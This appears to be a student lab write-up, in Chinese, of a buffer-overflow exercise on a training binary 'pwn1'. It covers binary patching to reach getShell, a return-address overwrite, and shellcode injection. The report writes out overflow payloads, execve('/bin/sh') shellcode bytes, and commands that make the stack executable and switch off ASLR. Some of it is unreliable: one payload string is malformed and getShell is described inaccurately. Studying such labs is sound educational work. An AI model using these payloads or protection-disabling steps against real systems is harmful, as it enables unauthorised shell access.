77
社区成员
发帖
与我相关
我的任务
分享目录
2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
2.3注入一个自己制作的shellcode并运行这段shellcode。
(1)缓冲区溢出
缓冲区溢出是指当程序尝试向缓冲区写入超过其容量的数据时,这些数据将被写入到紧邻的内存区域中,导致对该区域的内存操作被修改或破坏,从而导致程序崩溃、系统崩溃或者程序漏洞被利用。
(2)"getShell" 函数
"getShell" 函数通常是一个命令执行函数,用于从远程服务器获取 shell 访问权限,以便攻击者可以在目标系统上执行任意命令。
(3)Shellcode
Shellcode 是一段用于利用软件漏洞或执行恶意代码的二进制机器码。通常,Shellcode 被用于利用缓冲区溢出漏洞,使攻击者可以通过篡改内存中的程序指令来控制目标计算机上的程序执行流程,实现攻击者的恶意目的。
本次实践的目标是一个名为pwn1的Linux可执行文件。该程序的正常执行流程是:main函数调用foo函数,foo函数会简单回显任何用户输入的字符串。同时,该程序包含另一个代码片段getShell,该代码片段会返回一个可用的Shell,但通常情况下不会被运行。我们的目标是尝试运行这个代码片段,并且通过学习两种方法来实现这一目标,最终学习如何注入并运行任意的Shellcode。
首先将pwn复制成两份,放入主文件夹中,分别命名为:“pwn20221906”和“1pwn20221906”,利用root权限,将hostname改成自己的名字;

输入“objdump -d pwn20221906 | more”进行反汇编

往下翻页,找到getShell函数、foo函数和main函数;发现main函数调用了fool函数:

通过cp pwn20221906 1pwn20221906进行数据的备份,并对第二个文件进行修改:

通过sudo apt install xxd 下载xxd:

按esc键通过:%!xxd修改格式为十六进制
进入第一个文件,将d7修改为c3:

通过:%!xxd -r 还原为原格式后,利用:wq 保存退出。

通过objdump -d pwn20221906| more发现已经成功修改:
首先安装gdb:

观察fool函数:0x1c大小即只有28个字节的缓冲区;
call调用fool,返回8048491;

使用gdb调试,输入mmmmmmmzzzzzzzqqqqqqq111111112345678发现缓冲区溢出错误:

![]()
eip中的值是0x38373635;
通过perl -e ‘print “mmmmmmmmzzzzzzzzqqqqqqqqcccccccc\x7d\x84\x04\x08\x0a”’ > 20221906,并通过xxd 20221906查看,
![]()
安装execstack:

通过execstack -s 1pwn20221906设置堆栈可执行
通过execstack -q 1pwn20221906查询堆栈是否可执行
通过echo “0”> /proc/sys/kernel/randomize_va_space 关闭地址随机化。
![]()
![]()
通过perl -e ‘print“\\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > 20221906mzq

attach 8664查看:

通过info r esp可查看栈顶指针所在的位置为“0xffffd5cc”。接着输入x/16x 0xffffd5cc,发现“0xffffd5cc”中有值“01020304”

通过perl -e 'print "A" x 32;print "\xc0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input20221906

通过 (cat 20221906mzq;cat) | ./1pwn20221906

通过这次实验,我学习了汇编指令、以及注入运行shellcode、触发getcode函数等;极大的增加了我的网络攻防水平,使我对shellcode和缓冲区溢出又有了新的了解和领悟。